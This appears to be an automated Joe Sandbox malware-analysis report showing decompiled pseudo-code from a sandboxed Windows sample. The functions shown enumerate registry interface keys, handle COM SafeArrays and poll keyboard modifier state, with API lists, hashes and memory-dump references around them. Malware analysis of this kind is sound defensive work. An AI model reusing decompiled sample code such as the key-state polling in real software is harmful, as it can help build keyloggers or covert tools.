						if(RegQueryValueExW(_v636, 0, 0, 0,  &_v524,  &_v640) == 0) {
							_t52 = _v640 >> 1;
							_v640 = _t52;
							 *((short*)(_t74 + 0x88 + _t52 * 2)) = 0;
							_t54 = E004115D0(_a8,  &_v524, _a8);
							_t74 = _t74 + 8;
							if(_t54 == 0) {
								_t72 =  *0x482818(_t71, _a4);
							}
						}
						RegCloseKey(_v636);
					}
					if(_t72 == 0) {
						break;
					} else {
						_t56 = _t56 + 1;
						_v640 = 0x28;
						continue;
					}
				}
				RegCloseKey(_v632);
				goto L10;
			}




















                                                                                                                                                                            0x004584d6
                                                                                                                                                                            0x004584e4
                                                                                                                                                                            0x004584e9
                                                                                                                                                                            0x004584eb
                                                                                                                                                                            0x004584f3
                                                                                                                                                                            0x00458517
                                                                                                                                                                            0x0045861b
                                                                                                                                                                            0x0045861f
                                                                                                                                                                            0x00458630
                                                                                                                                                                            0x00458630
                                                                                                                                                                            0x0045851d
                                                                                                                                                                            0x0045854c
                                                                                                                                                                            0x0045855a
                                                                                                                                                                            0x00458562
                                                                                                                                                                            0x00458567
                                                                                                                                                                            0x0045856f
                                                                                                                                                                            0x0045858e
                                                                                                                                                                            0x004585b0
                                                                                                                                                                            0x004585bd
                                                                                                                                                                            0x004585c1
                                                                                                                                                                            0x004585c5
                                                                                                                                                                            0x004585d6
                                                                                                                                                                            0x004585db
                                                                                                                                                                            0x004585e0
                                                                                                                                                                            0x004585f1
                                                                                                                                                                            0x004585f1
                                                                                                                                                                            0x004585e0
                                                                                                                                                                            0x004585f8
                                                                                                                                                                            0x004585f8
                                                                                                                                                                            0x00458600
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00458602
                                                                                                                                                                            0x00458602
                                                                                                                                                                            0x00458603
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00458603
                                                                                                                                                                            0x00458600
                                                                                                                                                                            0x00458615
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            • RegOpenKeyExW.ADVAPI32(80000000,interface,00000000,00020019,?), ref: 00458513
                                                                                                                                                                            • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?), ref: 00458538
                                                                                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 00458615
                                                                                                                                                                              • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                            • RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,000001FE,interface\), ref: 0045858A
                                                                                                                                                                            • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,00000028), ref: 004585A8
                                                                                                                                                                            • __wcsicoll.LIBCMT ref: 004585D6
                                                                                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 004585F8
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CloseOpen$EnumQueryValue__wcsicoll_wcslen
                                                                                                                                                                            • String ID: ($interface$interface\
                                                                                                                                                                            • API String ID: 2604079108-3327702407
                                                                                                                                                                            • Opcode ID: 350e120f6e18dddb3f8c6d46bfca87765a62661d057c16082d94f44a56e694f0
                                                                                                                                                                            • Instruction ID: 8bba9f68fd62273e28347649ee1beaf5ca721337d59508e4072ff8b61f6c8959
                                                                                                                                                                            • Opcode Fuzzy Hash: 350e120f6e18dddb3f8c6d46bfca87765a62661d057c16082d94f44a56e694f0
                                                                                                                                                                            • Instruction Fuzzy Hash: 58318371204305ABE710DF54DD85F6FB3E8FB84744F10492DF685A6191EAB8E908C76B
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00467214 Relevance: 16.8, APIs: 11, Instructions: 313COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 28%
                                                                                                                                                                            			E00467214(intOrPtr* _a4, signed short* _a8) {
				signed short* _v0;
				char _v4;
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				char _v28;
				char _v32;
				signed int _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t91;
				intOrPtr _t96;
				signed int _t100;
				signed int _t101;
				signed int _t104;
				void* _t112;
				signed int _t131;
				signed int _t132;
				signed int _t138;
				signed int _t139;
				signed short* _t146;
				signed int _t147;
				signed short* _t148;
				void* _t149;
				signed int _t151;
				signed int _t156;
				signed short* _t188;
				void* _t189;
				signed int _t190;
				signed int _t192;
				signed int _t193;
				void* _t194;
				intOrPtr* _t195;
				signed int _t196;
				signed int* _t198;
				signed int* _t199;
				void* _t206;

				_t198 =  &_v36;
				_t148 = _a8;
				_t91 =  *_t148 & 0x0000ffff;
				_t195 = _a4;
				if((_t91 & 0x00002000) == 0) {
					L13:
					return 0;
				} else {
					if((_t91 & 0x00004000) == 0) {
						_t9 =  &(_t148[4]); // 0xce8b7824
						_t148 =  *_t9;
						_a8 = _t148;
						_t146 = _t148;
					} else {
						_t7 =  &(_t148[4]); // 0xce8b7824
						_t146 =  *( *_t7);
						_a8 = _t146;
					}
					if(_t146 == 0) {
						goto L13;
					} else {
						E0040E8F0(_t195, _t146, _t148);
						 *((intOrPtr*)( *_t195 + 0x210)) =  *_t146;
						_t96 =  *_t195;
						_t149 = 0;
						if( *((intOrPtr*)(_t96 + 0x210)) > 0) {
							_t194 = 0x10c;
							_t13 =  &(_t146[8]); // 0xce8b7834
							_t188 = _t13;
							do {
								 *(_t194 + _t96) =  *_t188;
								_t96 =  *_t195;
								_t149 = _t149 + 1;
								_t188 =  &(_t188[4]);
								_t194 = _t194 + 4;
							} while (_t149 <  *((intOrPtr*)(_t96 + 0x210)));
						}
						_push(0);
						E0040E7E0(_t195, _t149);
						_t196 =  *( *_t195 + 8);
						_t151 = _t146[1] & 0x0000ffff;
						_t100 = _t151 & 0x00000f00;
						_t199 =  &(_t198[1]);
						_t206 = _t100 - 0x400;
						if(_t206 > 0) {
							__eflags = _t100 - 0x800;
							if(_t100 == 0x800) {
								_t101 =  *0x482420(_t146,  &_v24);
								__eflags = _t101;
								if(_t101 >= 0) {
									_t190 = 0;
									__eflags = _t196;
									if(_t196 > 0) {
										_t147 = 0;
										__eflags = 0;
										do {
											_push(0x10);
											_t104 = E0041171A(_t147, _t190, __eflags);
											_t199 =  &(_t199[1]);
											__eflags = _t104;
											if(_t104 == 0) {
												_t104 = 0;
												__eflags = 0;
											} else {
												 *_t104 = 0;
												 *(_t104 + 8) = 1;
												 *((intOrPtr*)(_t104 + 0xc)) = 0;
											}
											 *( *((intOrPtr*)( *_t195)) + _t190 * 4) = _t104;
											_v28 = 0x400c;
											_v20 = _t147 + _v32;
											E00467626(_t147,  *( *((intOrPtr*)( *_t195)) + _t190 * 4),  &_v28);
											_t190 = 1 + _t190;
											_t147 = _t147 + 0x10;
											__eflags = _t190 - _t196;
										} while (__eflags < 0);
										_t146 = _v0;
									}
									goto L60;
								}
								goto L61;
							} else {
								goto L31;
							}
						} else {
							if(_t206 == 0) {
								_t131 =  *0x482420(_t146,  &_v28);
								__eflags = _t131;
								if(_t131 < 0) {
									goto L61;
								} else {
									_t192 = 0;
									__eflags = _t196;
									if(__eflags <= 0) {
										goto L60;
									} else {
										do {
											_push(0x10);
											_t132 = E0041171A(_t146, _t192, __eflags);
											_t199 =  &(_t199[1]);
											__eflags = _t132;
											if(_t132 == 0) {
												_t132 = 0;
												__eflags = 0;
											} else {
												 *_t132 = 0;
												 *(_t132 + 8) = 1;
												 *((intOrPtr*)(_t132 + 0xc)) = 0;
											}
											 *( *((intOrPtr*)( *_t195)) + _t192 * 4) = _t132;
											_v28 = 9;
											_v20 = _v36 + _t192 * 4;
											E00467626(_t146,  *( *((intOrPtr*)( *_t195)) + _t192 * 4),  &_v28);
											_t192 = 1 + _t192;
											__eflags = _t192 - _t196;
										} while (__eflags < 0);
										 *0x482444(_t146);
										return 1;
									}
								}
							} else {
								if(_t100 == 0x100) {
									_t138 =  *0x482420(_t146,  &_v32);
									__eflags = _t138;
									if(_t138 < 0) {
										goto L61;
									} else {
										_t193 = 0;
										__eflags = _t196;
										if(__eflags <= 0) {
											goto L60;
										} else {
											do {
												_push(0x10);
												_t139 = E0041171A(_t146, _t193, __eflags);
												_t199 =  &(_t199[1]);
												__eflags = _t139;
												if(_t139 == 0) {
													_t139 = 0;
													__eflags = 0;
												} else {
													 *_t139 = 0;
													 *(_t139 + 8) = 1;
													 *((intOrPtr*)(_t139 + 0xc)) = 0;
												}
												 *( *((intOrPtr*)( *_t195)) + _t193 * 4) = _t139;
												_v28 = 8;
												_v20 =  *((intOrPtr*)(_v40 + _t193 * 4));
												E00467626(_t146,  *( *((intOrPtr*)( *_t195)) + _t193 * 4),  &_v28);
												_t193 = 1 + _t193;
												__eflags = _t193 - _t196;
											} while (__eflags < 0);
											 *0x482444(_t146);
											return 1;
										}
									}
								} else {
									if(_t100 != 0x200) {
										L31:
										__eflags = _t151;
										if(_t151 >= 0) {
											goto L12;
										} else {
											 *0x482418(_t146,  &_v36);
											_t156 = _v44;
											_t112 = (_t156 & 0x0000ffff) + 0xfffffffe;
											__eflags = _t112 - 0x15;
											if(_t112 > 0x15) {
												L44:
												__eflags = _t156 & 0x00004000;
												if((_t156 & 0x00004000) == 0) {
													goto L12;
												} else {
													goto L45;
												}
											} else {
												_t46 = _t112 + 0x467610; // 0x8d51503c
												switch( *((intOrPtr*)(( *_t46 & 0x000000ff) * 4 +  &M004675F8))) {
													case 0:
														_v0 = 2;
														goto L37;
													case 1:
														L45:
														_v0 = 4;
														goto L37;
													case 2:
														_v0 = 8;
														goto L37;
													case 3:
														_v0 = 1;
														L37:
														_push( &_v4);
														_push(_t146);
														_t113 =  *0x482420();
														__eflags = _t113;
														if(_t113 < 0) {
															L61:
															return 1;
														} else {
															_t191 = 0;
															__eflags = _t196;
															if(__eflags <= 0) {
																L60:
																_push(_t146);
																 *0x482444();
																goto L61;
															} else {
																do {
																	_push(0x10);
																	_t114 = E0041171A(_t146, _t191, __eflags);
																	_t199 =  &(_t199[1]);
																	__eflags = _t114;
																	if(_t114 == 0) {
																		_t114 = 0;
																		__eflags = 0;
																	} else {
																		 *_t114 = 0;
																		 *(_t114 + 8) = 1;
																		 *((intOrPtr*)(_t114 + 0xc)) = 0;
																	}
																	 *( *((intOrPtr*)( *_t195)) + _t191 * 4) = _t114;
																	_t115 = _v52;
																	__eflags = _t115 & 0x00004000;
																	if((_t115 & 0x00004000) == 0) {
																		_t116 = _t115 | 0x00004000;
																		__eflags = _t116;
																		_v36 = _t116;
																		_v28 = _v12;
																	} else {
																		_v36 = _t115;
																		E00410F70(_t146, _t191, _t195,  &_v28, _v12, _v8);
																		_t199 =  &(_t199[3]);
																	}
																	E00467626(_t146,  *( *((intOrPtr*)( *_t195)) + _t191 * 4),  &_v36);
																	_v16 = _v16 + _v12;
																	_t191 = 1 + _t191;
																	__eflags = _t191 - _t196;
																} while (__eflags < 0);
																_push(_t146);
																 *0x482444();
																return 1;
															}
														}
														goto L62;
													case 4:
														_push( &_v4);
														_push(_t146);
														__eflags =  *0x482420();
														if(__eflags < 0) {
															goto L12;
														} else {
															E00410F70(_t146, _t189, _t195, E00452DAE(_t146, _v12, __eflags, _t195, _t196), _v12, _t196);
															_push(_t146);
															 *0x482444();
															return 1;
														}
														goto L62;
													case 5:
														goto L44;
												}
											}
										}
									} else {
										L12:
										E004092C0(_t189, _t195);
										goto L13;
									}
								}
							}
						}
					}
				}
				L62:
			}














































                                                                                                                                                                            0x0046721b
                                                                                                                                                                            0x00467214
                                                                                                                                                                            0x00467218
                                                                                                                                                                            0x00467221
                                                                                                                                                                            0x0046722b
                                                                                                                                                                            0x004672d4
                                                                                                                                                                            0x004672dd
                                                                                                                                                                            0x00467231
                                                                                                                                                                            0x00467236
                                                                                                                                                                            0x00467243
                                                                                                                                                                            0x00467243
                                                                                                                                                                            0x00467246
                                                                                                                                                                            0x0046724a
                                                                                                                                                                            0x00467238
                                                                                                                                                                            0x00467238
                                                                                                                                                                            0x0046723b
                                                                                                                                                                            0x0046723d
                                                                                                                                                                            0x0046723d
                                                                                                                                                                            0x0046724e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00467254
                                                                                                                                                                            0x00467256
                                                                                                                                                                            0x00467260
                                                                                                                                                                            0x00467266
                                                                                                                                                                            0x00467268
                                                                                                                                                                            0x00467270
                                                                                                                                                                            0x00467272
                                                                                                                                                                            0x00467277
                                                                                                                                                                            0x00467277
                                                                                                                                                                            0x0046727a
                                                                                                                                                                            0x0046727c
                                                                                                                                                                            0x0046727f
                                                                                                                                                                            0x00467281
                                                                                                                                                                            0x00467282
                                                                                                                                                                            0x00467285
                                                                                                                                                                            0x00467288
                                                                                                                                                                            0x0046727a
                                                                                                                                                                            0x00467290
                                                                                                                                                                            0x00467294
                                                                                                                                                                            0x0046729b
                                                                                                                                                                            0x0046729e
                                                                                                                                                                            0x004672a4
                                                                                                                                                                            0x004672a9
                                                                                                                                                                            0x004672ac
                                                                                                                                                                            0x004672b1
                                                                                                                                                                            0x004673ff
                                                                                                                                                                            0x00467404
                                                                                                                                                                            0x00467571
                                                                                                                                                                            0x00467577
                                                                                                                                                                            0x00467579
                                                                                                                                                                            0x0046757b
                                                                                                                                                                            0x0046757d
                                                                                                                                                                            0x0046757f
                                                                                                                                                                            0x00467581
                                                                                                                                                                            0x00467581
                                                                                                                                                                            0x00467584
                                                                                                                                                                            0x00467584
                                                                                                                                                                            0x00467586
                                                                                                                                                                            0x0046758b
                                                                                                                                                                            0x0046758e
                                                                                                                                                                            0x00467590
                                                                                                                                                                            0x004675a8
                                                                                                                                                                            0x004675a8
                                                                                                                                                                            0x00467592
                                                                                                                                                                            0x00467592
                                                                                                                                                                            0x00467598
                                                                                                                                                                            0x0046759f
                                                                                                                                                                            0x0046759f
                                                                                                                                                                            0x004675ae
                                                                                                                                                                            0x004675bf
                                                                                                                                                                            0x004675c4
                                                                                                                                                                            0x004675d2
                                                                                                                                                                            0x004675d7
                                                                                                                                                                            0x004675d8
                                                                                                                                                                            0x004675db
                                                                                                                                                                            0x004675db
                                                                                                                                                                            0x004675df
                                                                                                                                                                            0x004675df
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046757f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004672b7
                                                                                                                                                                            0x004672b7
                                                                                                                                                                            0x00467375
                                                                                                                                                                            0x0046737b
                                                                                                                                                                            0x0046737d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00467383
                                                                                                                                                                            0x00467383
                                                                                                                                                                            0x00467385
                                                                                                                                                                            0x00467387
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00467394
                                                                                                                                                                            0x00467394
                                                                                                                                                                            0x00467394
                                                                                                                                                                            0x00467396
                                                                                                                                                                            0x0046739b
                                                                                                                                                                            0x0046739e
                                                                                                                                                                            0x004673a0
                                                                                                                                                                            0x004673b8
                                                                                                                                                                            0x004673b8
                                                                                                                                                                            0x004673a2
                                                                                                                                                                            0x004673a2
                                                                                                                                                                            0x004673a8
                                                                                                                                                                            0x004673af
                                                                                                                                                                            0x004673af
                                                                                                                                                                            0x004673be
                                                                                                                                                                            0x004673cf
                                                                                                                                                                            0x004673d4
                                                                                                                                                                            0x004673e2
                                                                                                                                                                            0x004673e7
                                                                                                                                                                            0x004673e8
                                                                                                                                                                            0x004673e8
                                                                                                                                                                            0x004673ed
                                                                                                                                                                            0x004673fc
                                                                                                                                                                            0x004673fc
                                                                                                                                                                            0x00467387
                                                                                                                                                                            0x004672bd
                                                                                                                                                                            0x004672c2
                                                                                                                                                                            0x004672e6
                                                                                                                                                                            0x004672ec
                                                                                                                                                                            0x004672ee
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004672f4
                                                                                                                                                                            0x004672f4
                                                                                                                                                                            0x004672f6
                                                                                                                                                                            0x004672f8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00467304
                                                                                                                                                                            0x00467304
                                                                                                                                                                            0x00467304
                                                                                                                                                                            0x00467306
                                                                                                                                                                            0x0046730b
                                                                                                                                                                            0x0046730e
                                                                                                                                                                            0x00467310
                                                                                                                                                                            0x00467328
                                                                                                                                                                            0x00467328
                                                                                                                                                                            0x00467312
                                                                                                                                                                            0x00467312
                                                                                                                                                                            0x00467318
                                                                                                                                                                            0x0046731f
                                                                                                                                                                            0x0046731f
                                                                                                                                                                            0x0046732e
                                                                                                                                                                            0x0046733a
                                                                                                                                                                            0x00467344
                                                                                                                                                                            0x00467352
                                                                                                                                                                            0x00467357
                                                                                                                                                                            0x00467358
                                                                                                                                                                            0x00467358
                                                                                                                                                                            0x0046735d
                                                                                                                                                                            0x0046736c
                                                                                                                                                                            0x0046736c
                                                                                                                                                                            0x004672f8
                                                                                                                                                                            0x004672c4
                                                                                                                                                                            0x004672c9
                                                                                                                                                                            0x0046740a
                                                                                                                                                                            0x0046740a
                                                                                                                                                                            0x0046740c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00467412
                                                                                                                                                                            0x00467418
                                                                                                                                                                            0x0046741e
                                                                                                                                                                            0x00467425
                                                                                                                                                                            0x00467428
                                                                                                                                                                            0x0046742b
                                                                                                                                                                            0x004674dc
                                                                                                                                                                            0x004674dc
                                                                                                                                                                            0x004674e2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00467431
                                                                                                                                                                            0x00467431
                                                                                                                                                                            0x00467438
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004674c8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004674e8
                                                                                                                                                                            0x004674e8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004674d2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046747c
                                                                                                                                                                            0x00467484
                                                                                                                                                                            0x00467488
                                                                                                                                                                            0x00467489
                                                                                                                                                                            0x0046748a
                                                                                                                                                                            0x00467490
                                                                                                                                                                            0x00467492
                                                                                                                                                                            0x004675ed
                                                                                                                                                                            0x004675f3
                                                                                                                                                                            0x00467498
                                                                                                                                                                            0x00467498
                                                                                                                                                                            0x0046749a
                                                                                                                                                                            0x0046749c
                                                                                                                                                                            0x004675e3
                                                                                                                                                                            0x004675e3
                                                                                                                                                                            0x004675e4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004674a4
                                                                                                                                                                            0x004674a4
                                                                                                                                                                            0x004674a4
                                                                                                                                                                            0x004674a6
                                                                                                                                                                            0x004674ab
                                                                                                                                                                            0x004674ae
                                                                                                                                                                            0x004674b0
                                                                                                                                                                            0x004674f2
                                                                                                                                                                            0x004674f2
                                                                                                                                                                            0x004674b2
                                                                                                                                                                            0x004674b2
                                                                                                                                                                            0x004674b8
                                                                                                                                                                            0x004674bf
                                                                                                                                                                            0x004674bf
                                                                                                                                                                            0x004674f8
                                                                                                                                                                            0x004674fb
                                                                                                                                                                            0x004674ff
                                                                                                                                                                            0x00467504
                                                                                                                                                                            0x00467524
                                                                                                                                                                            0x00467524
                                                                                                                                                                            0x00467529
                                                                                                                                                                            0x00467532
                                                                                                                                                                            0x00467506
                                                                                                                                                                            0x0046750a
                                                                                                                                                                            0x0046751a
                                                                                                                                                                            0x0046751f
                                                                                                                                                                            0x0046751f
                                                                                                                                                                            0x00467542
                                                                                                                                                                            0x0046754b
                                                                                                                                                                            0x0046754f
                                                                                                                                                                            0x00467550
                                                                                                                                                                            0x00467550
                                                                                                                                                                            0x00467558
                                                                                                                                                                            0x00467559
                                                                                                                                                                            0x00467568
                                                                                                                                                                            0x00467568
                                                                                                                                                                            0x0046749c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00467443
                                                                                                                                                                            0x00467444
                                                                                                                                                                            0x0046744b
                                                                                                                                                                            0x0046744d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00467453
                                                                                                                                                                            0x00467461
                                                                                                                                                                            0x00467469
                                                                                                                                                                            0x0046746a
                                                                                                                                                                            0x00467479
                                                                                                                                                                            0x00467479
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00467438
                                                                                                                                                                            0x0046742b
                                                                                                                                                                            0x004672cf
                                                                                                                                                                            0x004672cf
                                                                                                                                                                            0x004672cf
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004672cf
                                                                                                                                                                            0x004672c9
                                                                                                                                                                            0x004672c2
                                                                                                                                                                            0x004672b7
                                                                                                                                                                            0x004672b1
                                                                                                                                                                            0x0046724e
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 004672E6
                                                                                                                                                                            • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 0046735D
                                                                                                                                                                            • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467375
                                                                                                                                                                            • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 004673ED
                                                                                                                                                                            • SafeArrayGetVartype.OLEAUT32(CE8B7824,?), ref: 00467418
                                                                                                                                                                            • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467445
                                                                                                                                                                            • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 0046746A
                                                                                                                                                                            • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 00467559
                                                                                                                                                                            • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 0046748A
                                                                                                                                                                              • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                              • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                              • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                            • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467571
                                                                                                                                                                            • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 004675E4
                                                                                                                                                                              • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ArraySafe$Data$AccessUnaccess$Exception@8ThrowVartype_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1932665248-0
                                                                                                                                                                            • Opcode ID: 16f99e80be173eecdd1bb573f6b7f825babaa5351af7cc3efc94bb11c862a2f8
                                                                                                                                                                            • Instruction ID: 42a0e90c8bf2b482c85e144861ec280134e9fb1dbd9e00a0d693b148f8e5f150
                                                                                                                                                                            • Opcode Fuzzy Hash: 16f99e80be173eecdd1bb573f6b7f825babaa5351af7cc3efc94bb11c862a2f8
                                                                                                                                                                            • Instruction Fuzzy Hash: E8B1BF752082009FD304DF29C884B6B77E5FF98318F14496EE98587362E779E885CB6B
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00444D52 Relevance: 16.6, APIs: 11, Instructions: 132keyboardCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E00444D52(intOrPtr _a4, char* _a8) {
				intOrPtr _v95;
				intOrPtr _v96;
				intOrPtr _v165;
				intOrPtr _v238;
				intOrPtr _v239;
				intOrPtr _v240;
				char _v256;
				char* _t59;
				char* _t68;
				intOrPtr _t83;
				char* _t84;

				_t84 = _a8;
				_t83 = _a4;
				 *_t84 = 0;
				 *((char*)(_t84 + 1)) = 0;
				 *((char*)(_t84 + 2)) = 0;
				 *((char*)(_t84 + 3)) = 0;
				 *((char*)(_t84 + 4)) = 0;
				 *((char*)(_t84 + 5)) = 0;
				if( *((intOrPtr*)(_t83 + 0x20)) == 0) {
					if((0x00008000 & GetAsyncKeyState(0xa0)) != 0 || (0x00008000 & GetKeyState(0xa0)) != 0) {
						if( *((char*)(_t83 + 0x1a)) == 0) {
							 *_t84 = 1;
						}
					}
					if((0x00008000 & GetAsyncKeyState(0xa1)) != 0 || (0x00008000 & GetKeyState(0xa1)) != 0) {
						if( *((char*)(_t83 + 0x1b)) == 0) {
							 *((char*)(_t84 + 1)) = 1;
						}
					}
					if((0x00008000 & GetAsyncKeyState(0x11)) != 0 || (0x00008000 & GetKeyState(0x11)) != 0) {
						if( *((char*)(_t83 + 0x1c)) == 0) {
							 *((char*)(_t84 + 2)) = 1;
						}
					}
					if((0x00008000 & GetAsyncKeyState(0x12)) != 0 || (0x00008000 & GetKeyState(0x12)) != 0) {
						if( *((char*)(_t83 + 0x1d)) == 0) {
							 *((char*)(_t84 + 3)) = 1;
						}
					}
					if((0x00008000 & GetAsyncKeyState(0x5b)) == 0 && (0x00008000 & GetKeyState(0x5b)) == 0) {
						_t59 = _t84;
						L38:
						return _t59;
					}
					_t59 = _t84;
					if( *((char*)(_t83 + 0x1e)) != 0) {
						goto L38;
					}
					 *((char*)(_t84 + 4)) = 1;
					return _t59;
				} else {
					GetKeyboardState( &_v256);
					if(_v96 == 0x80 || _v240 == 0x80) {
						if( *((char*)(_t83 + 0x1a)) == 0) {
							 *_t84 = 1;
						}
					}
					if(_v95 == 0x80 &&  *((char*)(_t83 + 0x1b)) == 0) {
						 *((char*)(_t84 + 1)) = 1;
					}
					if(_v239 == 0x80 &&  *((char*)(_t83 + 0x1c)) == 0) {
						 *((char*)(_t84 + 2)) = 1;
					}
					if(_v238 == 0x80 &&  *((char*)(_t83 + 0x1d)) == 0) {
						 *((char*)(_t84 + 3)) = 1;
					}
					_t68 = _t84;
					if(_v165 != 0x80 ||  *((char*)(_t83 + 0x1e)) != 0) {
						return _t68;
					} else {
						 *((char*)(_t84 + 4)) = 1;
						return _t68;
					}
				}
			}














                                                                                                                                                                            0x00444d59
                                                                                                                                                                            0x00444d61
                                                                                                                                                                            0x00444d6c
                                                                                                                                                                            0x00444d6f
                                                                                                                                                                            0x00444d73
                                                                                                                                                                            0x00444d77
                                                                                                                                                                            0x00444d7b
                                                                                                                                                                            0x00444d7f
                                                                                                                                                                            0x00444d83
                                                                                                                                                                            0x00444e1f
                                                                                                                                                                            0x00444e36
                                                                                                                                                                            0x00444e38
                                                                                                                                                                            0x00444e38
                                                                                                                                                                            0x00444e36
                                                                                                                                                                            0x00444e4a
                                                                                                                                                                            0x00444e61
                                                                                                                                                                            0x00444e63
                                                                                                                                                                            0x00444e63
                                                                                                                                                                            0x00444e61
                                                                                                                                                                            0x00444e73
                                                                                                                                                                            0x00444e87
                                                                                                                                                                            0x00444e89
                                                                                                                                                                            0x00444e89
                                                                                                                                                                            0x00444e87
                                                                                                                                                                            0x00444e99
                                                                                                                                                                            0x00444ead
                                                                                                                                                                            0x00444eaf
                                                                                                                                                                            0x00444eaf
                                                                                                                                                                            0x00444ead
                                                                                                                                                                            0x00444ebf
                                                                                                                                                                            0x00444ee8
                                                                                                                                                                            0x00444eea
